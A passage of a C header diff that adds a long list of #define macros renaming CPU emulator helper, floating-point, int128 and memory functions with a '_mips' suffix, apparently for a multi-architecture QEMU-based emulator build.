helper_iwmmxt_slll_mips +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_mips +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_mips +#define helper_iwmmxt_sral helper_iwmmxt_sral_mips +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_mips +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_mips +#define helper_iwmmxt_srll helper_iwmmxt_srll_mips +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_mips +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_mips +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_mips +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_mips +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_mips +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_mips +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_mips +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_mips +#define helper_iwmmxt_subub helper_iwmmxt_subub_mips +#define helper_iwmmxt_subul helper_iwmmxt_subul_mips +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_mips +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_mips +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_mips +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_mips +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_mips +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_mips +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_mips +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_mips +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_mips +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_mips +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_mips +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_mips +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_mips +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_mips +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_mips +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_mips +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_mips +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_mips +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_mips +#define helper_ldb_cmmu helper_ldb_cmmu_mips +#define helper_ldb_mmu helper_ldb_mmu_mips +#define helper_ldl_cmmu helper_ldl_cmmu_mips +#define helper_ldl_mmu helper_ldl_mmu_mips +#define helper_ldq_cmmu helper_ldq_cmmu_mips +#define helper_ldq_mmu helper_ldq_mmu_mips +#define helper_ldw_cmmu helper_ldw_cmmu_mips +#define helper_ldw_mmu helper_ldw_mmu_mips +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_mips +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_mips +#define helper_le_ldq_mmu helper_le_ldq_mmu_mips +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_mips +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_mips +#define helper_le_ldul_mmu helper_le_ldul_mmu_mips +#define helper_le_lduw_mmu helper_le_lduw_mmu_mips +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_mips +#define helper_le_stl_mmu helper_le_stl_mmu_mips +#define helper_le_stq_mmu helper_le_stq_mmu_mips +#define helper_le_stw_mmu helper_le_stw_mmu_mips +#define helper_msr_i_pstate helper_msr_i_pstate_mips +#define helper_neon_abd_f32 helper_neon_abd_f32_mips +#define helper_neon_abdl_s16 helper_neon_abdl_s16_mips +#define helper_neon_abdl_s32 helper_neon_abdl_s32_mips +#define helper_neon_abdl_s64 helper_neon_abdl_s64_mips +#define helper_neon_abdl_u16 helper_neon_abdl_u16_mips +#define helper_neon_abdl_u32 helper_neon_abdl_u32_mips +#define helper_neon_abdl_u64 helper_neon_abdl_u64_mips +#define helper_neon_abd_s16 helper_neon_abd_s16_mips +#define helper_neon_abd_s32 helper_neon_abd_s32_mips +#define helper_neon_abd_s8 helper_neon_abd_s8_mips +#define helper_neon_abd_u16 helper_neon_abd_u16_mips +#define helper_neon_abd_u32 helper_neon_abd_u32_mips +#define helper_neon_abd_u8 helper_neon_abd_u8_mips +#define helper_neon_abs_s16 helper_neon_abs_s16_mips +#define helper_neon_abs_s8 helper_neon_abs_s8_mips +#define helper_neon_acge_f32 helper_neon_acge_f32_mips +#define helper_neon_acge_f64 helper_neon_acge_f64_mips +#define helper_neon_acgt_f32 helper_neon_acgt_f32_mips +#define helper_neon_acgt_f64 helper_neon_acgt_f64_mips +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_mips +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_mips +#define helper_neon_addl_u16 helper_neon_addl_u16_mips +#define helper_neon_addl_u32 helper_neon_addl_u32_mips +#define helper_neon_add_u16 helper_neon_add_u16_mips +#define helper_neon_add_u8 helper_neon_add_u8_mips +#define helper_neon_ceq_f32 helper_neon_ceq_f32_mips +#define helper_neon_ceq_u16 helper_neon_ceq_u16_mips +#define helper_neon_ceq_u32 helper_neon_ceq_u32_mips +#define helper_neon_ceq_u8 helper_neon_ceq_u8_mips +#define helper_neon_cge_f32 helper_neon_cge_f32_mips +#define helper_neon_cge_s16 helper_neon_cge_s16_mips +#define helper_neon_cge_s32 helper_neon_cge_s32_mips +#define helper_neon_cge_s8 helper_neon_cge_s8_mips +#define helper_neon_cge_u16 helper_neon_cge_u16_mips +#define helper_neon_cge_u32 helper_neon_cge_u32_mips +#define helper_neon_cge_u8 helper_neon_cge_u8_mips +#define helper_neon_cgt_f32 helper_neon_cgt_f32_mips +#define helper_neon_cgt_s16 helper_neon_cgt_s16_mips +#define helper_neon_cgt_s32 helper_neon_cgt_s32_mips +#define helper_neon_cgt_s8 helper_neon_cgt_s8_mips +#define helper_neon_cgt_u16 helper_neon_cgt_u16_mips +#define helper_neon_cgt_u32 helper_neon_cgt_u32_mips +#define helper_neon_cgt_u8 helper_neon_cgt_u8_mips +#define helper_neon_cls_s16 helper_neon_cls_s16_mips +#define helper_neon_cls_s32 helper_neon_cls_s32_mips +#define helper_neon_cls_s8 helper_neon_cls_s8_mips +#define helper_neon_clz_u16 helper_neon_clz_u16_mips +#define helper_neon_clz_u8 helper_neon_clz_u8_mips +#define helper_neon_cnt_u8 helper_neon_cnt_u8_mips +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_mips +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_mips +#define helper_neon_hadd_s16 helper_neon_hadd_s16_mips +#define helper_neon_hadd_s32 helper_neon_hadd_s32_mips +#define helper_neon_hadd_s8 helper_neon_hadd_s8_mips +#define helper_neon_hadd_u16 helper_neon_hadd_u16_mips +#define helper_neon_hadd_u32 helper_neon_hadd_u32_mips +#define helper_neon_hadd_u8 helper_neon_hadd_u8_mips +#define helper_neon_hsub_s16 helper_neon_hsub_s16_mips +#define helper_neon_hsub_s32 helper_neon_hsub_s32_mips +#define helper_neon_hsub_s8 helper_neon_hsub_s8_mips +#define helper_neon_hsub_u16 helper_neon_hsub_u16_mips +#define helper_neon_hsub_u32 helper_neon_hsub_u32_mips +#define helper_neon_hsub_u8 helper_neon_hsub_u8_mips +#define helper_neon_max_s16 helper_neon_max_s16_mips +#define helper_neon_max_s32 helper_neon_max_s32_mips +#define helper_neon_max_s8 helper_neon_max_s8_mips +#define helper_neon_max_u16 helper_neon_max_u16_mips +#define helper_neon_max_u32 helper_neon_max_u32_mips +#define helper_neon_max_u8 helper_neon_max_u8_mips +#define helper_neon_min_s16 helper_neon_min_s16_mips +#define helper_neon_min_s32 helper_neon_min_s32_mips +#define helper_neon_min_s8 helper_neon_min_s8_mips +#define helper_neon_min_u16 helper_neon_min_u16_mips +#define helper_neon_min_u32 helper_neon_min_u32_mips +#define helper_neon_min_u8 helper_neon_min_u8_mips +#define helper_neon_mull_p8 helper_neon_mull_p8_mips +#define helper_neon_mull_s16 helper_neon_mull_s16_mips +#define helper_neon_mull_s8 helper_neon_mull_s8_mips +#define helper_neon_mull_u16 helper_neon_mull_u16_mips +#define helper_neon_mull_u8 helper_neon_mull_u8_mips +#define helper_neon_mul_p8 helper_neon_mul_p8_mips +#define helper_neon_mul_u16 helper_neon_mul_u16_mips +#define helper_neon_mul_u8 helper_neon_mul_u8_mips +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_mips +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_mips +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_mips +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_mips +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_mips +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_mips +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_mips +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_mips +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_mips +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_mips +#define helper_neon_narrow_u16 helper_neon_narrow_u16_mips +#define helper_neon_narrow_u8 helper_neon_narrow_u8_mips +#define helper_neon_negl_u16 helper_neon_negl_u16_mips +#define helper_neon_negl_u32 helper_neon_negl_u32_mips +#define helper_neon_paddl_u16 helper_neon_paddl_u16_mips +#define helper_neon_paddl_u32 helper_neon_paddl_u32_mips +#define helper_neon_padd_u16 helper_neon_padd_u16_mips +#define helper_neon_padd_u8 helper_neon_padd_u8_mips +#define helper_neon_pmax_s16 helper_neon_pmax_s16_mips +#define helper_neon_pmax_s8 helper_neon_pmax_s8_mips +#define helper_neon_pmax_u16 helper_neon_pmax_u16_mips +#define helper_neon_pmax_u8 helper_neon_pmax_u8_mips +#define helper_neon_pmin_s16 helper_neon_pmin_s16_mips +#define helper_neon_pmin_s8 helper_neon_pmin_s8_mips +#define helper_neon_pmin_u16 helper_neon_pmin_u16_mips +#define helper_neon_pmin_u8 helper_neon_pmin_u8_mips +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_mips +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_mips +#define helper_neon_qabs_s16 helper_neon_qabs_s16_mips +#define helper_neon_qabs_s32 helper_neon_qabs_s32_mips +#define helper_neon_qabs_s64 helper_neon_qabs_s64_mips +#define helper_neon_qabs_s8 helper_neon_qabs_s8_mips +#define helper_neon_qadd_s16 helper_neon_qadd_s16_mips +#define helper_neon_qadd_s32 helper_neon_qadd_s32_mips +#define helper_neon_qadd_s64 helper_neon_qadd_s64_mips +#define helper_neon_qadd_s8 helper_neon_qadd_s8_mips +#define helper_neon_qadd_u16 helper_neon_qadd_u16_mips +#define helper_neon_qadd_u32 helper_neon_qadd_u32_mips +#define helper_neon_qadd_u64 helper_neon_qadd_u64_mips +#define helper_neon_qadd_u8 helper_neon_qadd_u8_mips +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_mips +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_mips +#define helper_neon_qneg_s16 helper_neon_qneg_s16_mips +#define helper_neon_qneg_s32 helper_neon_qneg_s32_mips +#define helper_neon_qneg_s64 helper_neon_qneg_s64_mips +#define helper_neon_qneg_s8 helper_neon_qneg_s8_mips +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_mips +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_mips +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_mips +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_mips +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_mips +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_mips +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_mips +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_mips +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_mips +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_mips +#define helper_neon_qshl_s16 helper_neon_qshl_s16_mips +#define helper_neon_qshl_s32 helper_neon_qshl_s32_mips +#define helper_neon_qshl_s64 helper_neon_qshl_s64_mips +#define helper_neon_qshl_s8 helper_neon_qshl_s8_mips +#define helper_neon_qshl_u16 helper_neon_qshl_u16_mips +#define helper_neon_qshl_u32 helper_neon_qshl_u32_mips +#define helper_neon_qshl_u64 helper_neon_qshl_u64_mips +#define helper_neon_qshl_u8 helper_neon_qshl_u8_mips +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_mips +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_mips +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_mips +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_mips +#define helper_neon_qsub_s16 helper_neon_qsub_s16_mips +#define helper_neon_qsub_s32 helper_neon_qsub_s32_mips +#define helper_neon_qsub_s64 helper_neon_qsub_s64_mips +#define helper_neon_qsub_s8 helper_neon_qsub_s8_mips +#define helper_neon_qsub_u16 helper_neon_qsub_u16_mips +#define helper_neon_qsub_u32 helper_neon_qsub_u32_mips +#define helper_neon_qsub_u64 helper_neon_qsub_u64_mips +#define helper_neon_qsub_u8 helper_neon_qsub_u8_mips +#define helper_neon_qunzip16 helper_neon_qunzip16_mips +#define helper_neon_qunzip32 helper_neon_qunzip32_mips +#define helper_neon_qunzip8 helper_neon_qunzip8_mips +#define helper_neon_qzip16 helper_neon_qzip16_mips +#define helper_neon_qzip32 helper_neon_qzip32_mips +#define helper_neon_qzip8 helper_neon_qzip8_mips +#define helper_neon_rbit_u8 helper_neon_rbit_u8_mips +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_mips +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_mips +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_mips +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_mips +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_mips +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_mips +#define helper_neon_rshl_s16 helper_neon_rshl_s16_mips +#define helper_neon_rshl_s32 helper_neon_rshl_s32_mips +#define helper_neon_rshl_s64 helper_neon_rshl_s64_mips +#define helper_neon_rshl_s8 helper_neon_rshl_s8_mips +#define helper_neon_rshl_u16 helper_neon_rshl_u16_mips +#define helper_neon_rshl_u32 helper_neon_rshl_u32_mips +#define helper_neon_rshl_u64 helper_neon_rshl_u64_mips +#define helper_neon_rshl_u8 helper_neon_rshl_u8_mips +#define helper_neon_shl_s16 helper_neon_shl_s16_mips +#define helper_neon_shl_s32 helper_neon_shl_s32_mips +#define helper_neon_shl_s64 helper_neon_shl_s64_mips +#define helper_neon_shl_s8 helper_neon_shl_s8_mips +#define helper_neon_shl_u16 helper_neon_shl_u16_mips +#define helper_neon_shl_u32 helper_neon_shl_u32_mips +#define helper_neon_shl_u64 helper_neon_shl_u64_mips +#define helper_neon_shl_u8 helper_neon_shl_u8_mips +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_mips +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_mips +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_mips +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_mips +#define helper_neon_subl_u16 helper_neon_subl_u16_mips +#define helper_neon_subl_u32 helper_neon_subl_u32_mips +#define helper_neon_sub_u16 helper_neon_sub_u16_mips +#define helper_neon_sub_u8 helper_neon_sub_u8_mips +#define helper_neon_tbl helper_neon_tbl_mips +#define helper_neon_tst_u16 helper_neon_tst_u16_mips +#define helper_neon_tst_u32 helper_neon_tst_u32_mips +#define helper_neon_tst_u8 helper_neon_tst_u8_mips +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_mips +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_mips +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_mips +#define helper_neon_unzip16 helper_neon_unzip16_mips +#define helper_neon_unzip8 helper_neon_unzip8_mips +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_mips +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_mips +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_mips +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_mips +#define helper_neon_widen_s16 helper_neon_widen_s16_mips +#define helper_neon_widen_s8 helper_neon_widen_s8_mips +#define helper_neon_widen_u16 helper_neon_widen_u16_mips +#define helper_neon_widen_u8 helper_neon_widen_u8_mips +#define helper_neon_zip16 helper_neon_zip16_mips +#define helper_neon_zip8 helper_neon_zip8_mips +#define helper_pre_hvc helper_pre_hvc_mips +#define helper_pre_smc helper_pre_smc_mips +#define helper_qadd16 helper_qadd16_mips +#define helper_qadd8 helper_qadd8_mips +#define helper_qaddsubx helper_qaddsubx_mips +#define helper_qsub16 helper_qsub16_mips +#define helper_qsub8 helper_qsub8_mips +#define helper_qsubaddx helper_qsubaddx_mips +#define helper_rbit helper_rbit_mips +#define helper_recpe_f32 helper_recpe_f32_mips +#define helper_recpe_f64 helper_recpe_f64_mips +#define helper_recpe_u32 helper_recpe_u32_mips +#define helper_recps_f32 helper_recps_f32_mips +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_mips +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_mips +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_mips +#define helper_ret_stb_mmu helper_ret_stb_mmu_mips +#define helper_rintd helper_rintd_mips +#define helper_rintd_exact helper_rintd_exact_mips +#define helper_rints helper_rints_mips +#define helper_rints_exact helper_rints_exact_mips +#define helper_ror_cc helper_ror_cc_mips +#define helper_rsqrte_f32 helper_rsqrte_f32_mips +#define helper_rsqrte_f64 helper_rsqrte_f64_mips +#define helper_rsqrte_u32 helper_rsqrte_u32_mips +#define helper_rsqrts_f32 helper_rsqrts_f32_mips +#define helper_sadd16 helper_sadd16_mips +#define helper_sadd8 helper_sadd8_mips +#define helper_saddsubx helper_saddsubx_mips +#define helper_sar_cc helper_sar_cc_mips +#define helper_sdiv helper_sdiv_mips +#define helper_sel_flags helper_sel_flags_mips +#define helper_set_cp_reg helper_set_cp_reg_mips +#define helper_set_cp_reg64 helper_set_cp_reg64_mips +#define helper_set_neon_rmode helper_set_neon_rmode_mips +#define helper_set_r13_banked helper_set_r13_banked_mips +#define helper_set_rmode helper_set_rmode_mips +#define helper_set_user_reg helper_set_user_reg_mips +#define helper_shadd16 helper_shadd16_mips +#define helper_shadd8 helper_shadd8_mips +#define helper_shaddsubx helper_shaddsubx_mips +#define helper_shl_cc helper_shl_cc_mips +#define helper_shr_cc helper_shr_cc_mips +#define helper_shsub16 helper_shsub16_mips +#define helper_shsub8 helper_shsub8_mips +#define helper_shsubaddx helper_shsubaddx_mips +#define helper_ssat helper_ssat_mips +#define helper_ssat16 helper_ssat16_mips +#define helper_ssub16 helper_ssub16_mips +#define helper_ssub8 helper_ssub8_mips +#define helper_ssubaddx helper_ssubaddx_mips +#define helper_stb_mmu helper_stb_mmu_mips +#define helper_stl_mmu helper_stl_mmu_mips +#define helper_stq_mmu helper_stq_mmu_mips +#define helper_stw_mmu helper_stw_mmu_mips +#define helper_sub_saturate helper_sub_saturate_mips +#define helper_sub_usaturate helper_sub_usaturate_mips +#define helper_sxtb16 helper_sxtb16_mips +#define helper_uadd16 helper_uadd16_mips +#define helper_uadd8 helper_uadd8_mips +#define helper_uaddsubx helper_uaddsubx_mips +#define helper_udiv helper_udiv_mips +#define helper_uhadd16 helper_uhadd16_mips +#define helper_uhadd8 helper_uhadd8_mips +#define helper_uhaddsubx helper_uhaddsubx_mips +#define helper_uhsub16 helper_uhsub16_mips +#define helper_uhsub8 helper_uhsub8_mips +#define helper_uhsubaddx helper_uhsubaddx_mips +#define helper_uqadd16 helper_uqadd16_mips +#define helper_uqadd8 helper_uqadd8_mips +#define helper_uqaddsubx helper_uqaddsubx_mips +#define helper_uqsub16 helper_uqsub16_mips +#define helper_uqsub8 helper_uqsub8_mips +#define helper_uqsubaddx helper_uqsubaddx_mips +#define helper_usad8 helper_usad8_mips +#define helper_usat helper_usat_mips +#define helper_usat16 helper_usat16_mips +#define helper_usub16 helper_usub16_mips +#define helper_usub8 helper_usub8_mips +#define helper_usubaddx helper_usubaddx_mips +#define helper_uxtb16 helper_uxtb16_mips +#define helper_v7m_mrs helper_v7m_mrs_mips +#define helper_v7m_msr helper_v7m_msr_mips +#define helper_vfp_absd helper_vfp_absd_mips +#define helper_vfp_abss helper_vfp_abss_mips +#define helper_vfp_addd helper_vfp_addd_mips +#define helper_vfp_adds helper_vfp_adds_mips +#define helper_vfp_cmpd helper_vfp_cmpd_mips +#define helper_vfp_cmped helper_vfp_cmped_mips +#define helper_vfp_cmpes helper_vfp_cmpes_mips +#define helper_vfp_cmps helper_vfp_cmps_mips +#define helper_vfp_divd helper_vfp_divd_mips +#define helper_vfp_divs helper_vfp_divs_mips +#define helper_vfp_fcvtds helper_vfp_fcvtds_mips +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_mips +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_mips +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_mips +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_mips +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_mips +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_mips +#define helper_vfp_maxd helper_vfp_maxd_mips +#define helper_vfp_maxnumd helper_vfp_maxnumd_mips +#define helper_vfp_maxnums helper_vfp_maxnums_mips +#define helper_vfp_maxs helper_vfp_maxs_mips +#define helper_vfp_mind helper_vfp_mind_mips +#define helper_vfp_minnumd helper_vfp_minnumd_mips +#define helper_vfp_minnums helper_vfp_minnums_mips +#define helper_vfp_mins helper_vfp_mins_mips +#define helper_vfp_muladdd helper_vfp_muladdd_mips +#define helper_vfp_muladds helper_vfp_muladds_mips +#define helper_vfp_muld helper_vfp_muld_mips +#define helper_vfp_muls helper_vfp_muls_mips +#define helper_vfp_negd helper_vfp_negd_mips +#define helper_vfp_negs helper_vfp_negs_mips +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_mips +#define helper_vfp_shtod helper_vfp_shtod_mips +#define helper_vfp_shtos helper_vfp_shtos_mips +#define helper_vfp_sitod helper_vfp_sitod_mips +#define helper_vfp_sitos helper_vfp_sitos_mips +#define helper_vfp_sltod helper_vfp_sltod_mips +#define helper_vfp_sltos helper_vfp_sltos_mips +#define helper_vfp_sqrtd helper_vfp_sqrtd_mips +#define helper_vfp_sqrts helper_vfp_sqrts_mips +#define helper_vfp_sqtod helper_vfp_sqtod_mips +#define helper_vfp_sqtos helper_vfp_sqtos_mips +#define helper_vfp_subd helper_vfp_subd_mips +#define helper_vfp_subs helper_vfp_subs_mips +#define helper_vfp_toshd helper_vfp_toshd_mips +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_mips +#define helper_vfp_toshs helper_vfp_toshs_mips +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_mips +#define helper_vfp_tosid helper_vfp_tosid_mips +#define helper_vfp_tosis helper_vfp_tosis_mips +#define helper_vfp_tosizd helper_vfp_tosizd_mips +#define helper_vfp_tosizs helper_vfp_tosizs_mips +#define helper_vfp_tosld helper_vfp_tosld_mips +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_mips +#define helper_vfp_tosls helper_vfp_tosls_mips +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_mips +#define helper_vfp_tosqd helper_vfp_tosqd_mips +#define helper_vfp_tosqs helper_vfp_tosqs_mips +#define helper_vfp_touhd helper_vfp_touhd_mips +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_mips +#define helper_vfp_touhs helper_vfp_touhs_mips +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_mips +#define helper_vfp_touid helper_vfp_touid_mips +#define helper_vfp_touis helper_vfp_touis_mips +#define helper_vfp_touizd helper_vfp_touizd_mips +#define helper_vfp_touizs helper_vfp_touizs_mips +#define helper_vfp_tould helper_vfp_tould_mips +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_mips +#define helper_vfp_touls helper_vfp_touls_mips +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_mips +#define helper_vfp_touqd helper_vfp_touqd_mips +#define helper_vfp_touqs helper_vfp_touqs_mips +#define helper_vfp_uhtod helper_vfp_uhtod_mips +#define helper_vfp_uhtos helper_vfp_uhtos_mips +#define helper_vfp_uitod helper_vfp_uitod_mips +#define helper_vfp_uitos helper_vfp_uitos_mips +#define helper_vfp_ultod helper_vfp_ultod_mips +#define helper_vfp_ultos helper_vfp_ultos_mips +#define helper_vfp_uqtod helper_vfp_uqtod_mips +#define helper_vfp_uqtos helper_vfp_uqtos_mips +#define helper_wfe helper_wfe_mips +#define helper_wfi helper_wfi_mips +#define hex2decimal hex2decimal_mips +#define hw_breakpoint_update hw_breakpoint_update_mips +#define hw_breakpoint_update_all hw_breakpoint_update_all_mips +#define hw_watchpoint_update hw_watchpoint_update_mips +#define hw_watchpoint_update_all hw_watchpoint_update_all_mips +#define _init _init_mips +#define init_cpreg_list init_cpreg_list_mips +#define init_lists init_lists_mips +#define input_type_enum input_type_enum_mips +#define int128_2_64 int128_2_64_mips +#define int128_add int128_add_mips +#define int128_addto int128_addto_mips +#define int128_and int128_and_mips +#define int128_eq int128_eq_mips +#define int128_ge int128_ge_mips +#define int128_get64 int128_get64_mips +#define int128_gt int128_gt_mips +#define int128_le int128_le_mips +#define int128_lt int128_lt_mips +#define int128_make64 int128_make64_mips +#define int128_max int128_max_mips +#define int128_min int128_min_mips +#define int128_ne int128_ne_mips +#define int128_neg int128_neg_mips +#define int128_nz int128_nz_mips +#define int128_rshift int128_rshift_mips +#define int128_sub int128_sub_mips +#define int128_subfrom int128_subfrom_mips +#define int128_zero int128_zero_mips +#define int16_to_float32 int16_to_float32_mips +#define int16_to_float64 int16_to_float64_mips +#define int32_to_float128 int32_to_float128_mips +#define int32_to_float32 int32_to_float32_mips +#define int32_to_float64 int32_to_float64_mips +#define int32_to_floatx80 int32_to_floatx80_mips +#define int64_to_float128 int64_to_float128_mips +#define int64_to_float32 int64_to_float32_mips +#define int64_to_float64 int64_to_float64_mips +#define int64_to_floatx80 int64_to_floatx80_mips +#define invalidate_and_set_dirty invalidate_and_set_dirty_mips +#define invalidate_page_bitmap invalidate_page_bitmap_mips +#define io_mem_read io_mem_read_mips +#define io_mem_write io_mem_write_mips +#define io_readb io_readb_mips +#define io_readl io_readl_mips +#define io_readq io_readq_mips +#define io_readw io_readw_mips +#define iotlb_to_region iotlb_to_region_mips +#define io_writeb io_writeb_mips +#define io_writel io_writel_mips +#define io_writeq io_writeq_mips +#define io_writew io_writew_mips +#define is_a64 is_a64_mips +#define is_help_option is_help_option_mips +#define isr_read isr_read_mips +#define is_valid_option_list is_valid_option_list_mips +#define iwmmxt_load_creg iwmmxt_load_creg_mips +#define iwmmxt_load_reg iwmmxt_load_reg_mips +#define iwmmxt_store_creg iwmmxt_store_creg_mips +#define iwmmxt_store_reg iwmmxt_store_reg_mips +#define __jit_debug_descriptor __jit_debug_descriptor_mips +#define __jit_debug_register_code __jit_debug_register_code_mips +#define kvm_to_cpreg_id kvm_to_cpreg_id_mips +#define last_ram_offset last_ram_offset_mips +#define ldl_be_p ldl_be_p_mips +#define ldl_be_phys ldl_be_phys_mips +#define ldl_he_p ldl_he_p_mips +#define ldl_le_p ldl_le_p_mips +#define ldl_le_phys ldl_le_phys_mips +#define ldl_phys ldl_phys_mips +#define ldl_phys_internal ldl_phys_internal_mips +#define ldq_be_p ldq_be_p_mips +#define ldq_be_phys ldq_be_phys_mips +#define ldq_he_p ldq_he_p_mips +#define ldq_le_p ldq_le_p_mips +#define ldq_le_phys ldq_le_phys_mips +#define ldq_phys ldq_phys_mips +#define ldq_phys_internal ldq_phys_internal_mips +#define ldst_name ldst_name_mips +#define ldub_p ldub_p_mips +#define ldub_phys ldub_phys_mips +#define lduw_be_p lduw_be_p_mips +#define lduw_be_phys lduw_be_phys_mips +#define lduw_he_p lduw_he_p_mips +#define lduw_le_p lduw_le_p_mips +#define lduw_le_phys lduw_le_phys_mips +#define lduw_phys lduw_phys_mips +#define lduw_phys_internal lduw_phys_internal_mips +#define le128 le128_mips +#define linked_bp_matches linked_bp_matches_mips +#define listener_add_address_space listener_add_address_space_mips +#define load_cpu_offset load_cpu_offset_mips +#define load_reg load_reg_mips +#define load_reg_var load_reg_var_mips +#define log_cpu_state log_cpu_state_mips +#define lpae_cp_reginfo lpae_cp_reginfo_mips +#define lt128 lt128_mips +#define machine_class_init machine_class_init_mips +#define machine_finalize machine_finalize_mips +#define machine_info machine_info_mips +#define machine_initfn machine_initfn_mips +#define machine_register_types machine_register_types_mips +#define machvirt_init machvirt_init_mips +#define machvirt_machine_init machvirt_machine_init_mips +#define maj maj_mips +#define mapping_conflict mapping_conflict_mips +#define mapping_contiguous mapping_contiguous_mips +#define mapping_have_same_region mapping_have_same_region_mips +#define mapping_merge mapping_merge_mips +#define mem_add mem_add_mips +#define mem_begin mem_begin_mips +#define mem_commit mem_commit_mips +#define memory_access_is_direct memory_access_is_direct_mips +#define memory_access_size memory_access_size_mips +#define memory_init memory_init_mips +#define memory_listener_match memory_listener_match_mips +#define memory_listener_register memory_listener_register_mips +#define memory_listener_unregister memory_listener_unregister_mips +#define memory_map_init memory_map_init_mips 